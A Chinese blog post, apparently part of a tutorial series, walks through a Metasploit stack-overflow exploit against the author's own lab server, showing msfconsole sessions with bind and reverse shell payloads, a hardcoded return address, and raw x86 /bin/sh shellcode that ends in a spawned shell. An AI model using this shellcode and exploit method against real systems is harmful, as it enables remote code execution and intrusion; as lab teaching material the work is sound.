標籤:style blog io ar color os 使用 sp for
我們先嘗試使用這個指令碼進行攻擊:
msf > use exploit/linux/myvictimmsf exploit(myvictim) > set payload linux/x86/set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp2set payload linux/x86/metsvc_reverse_tcpmsf exploit(myvictim) > set payload linux/x86/metsvc_bind_tcppayload => linux/x86/metsvc_bind_tcpmsf exploit(myvictim) > set rhost 10.10.10.133rhost => 10.10.10.133msf exploit(myvictim) > set rport 7777rport => 7777msf exploit(myvictim) > exploit[*] Started bind handler[*] Sending 116 byte payload...[*] Exploit completed, but no session was created.
server端顯示:
[email protected]:/mnt/hgfs/r/stack$ ./serversocketbindlistenserver is run...acceptThe IP of client is:10.10.10.128The Port of client is:52308close-new_fd 2recvacceptsp=0xbffff488,addr=0xbffff4a4 bytes.
顯然攻擊目的沒有,達到,具體原因有兩個(我認為的),第一是傳回值部分不對,第二是payload本身是不是有問題
我們一一修改:
‘MyVictimSever run on linux‘,{‘Platform‘ => ‘Linux‘,‘Ret‘ => 0xbffff4a4}
第二,我們payload首先採用最先驗證過的運行/bin/sh的shellcode
# Build the buffer for transmission buf=""; buf = make_nops(15); buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh"; #buf+="\xa4\xf4\xff\xbf" #buf += payload.encoded buf += [].fill( target.ret,0,100).pack(‘V*‘)
尤其注意最前我們補充的nop 指令的數量是15,我在這裡卡了很久,就是因為指令對齊問題,顯然32位平台上,應該是四位元組對齊的。
然後運行
msf exploit(myvictim) > rexploit[*] Reloading module...[*] Started bind handler[*] Sending 116 byte payload...[*] Exploit completed, but no session was created.
注意這裡啟動並執行是rexploit,這個表示重新載入模組,並執行,因為我剛剛修改過了。
可以看到server端:
The IP of client is:10.10.10.128The Port of client is:47336close-new_fd 2acceptrecvsp=0xbffff488,addr=0xbffff4a4 bytes.$ $
這裡用的shellcode是自己產生的,沒有用payload.encoded,是因為我嘗試用payload,但是沒有任何反應,應該是編碼以後不能執行造成的。
使用metasploit進行棧溢出攻擊-5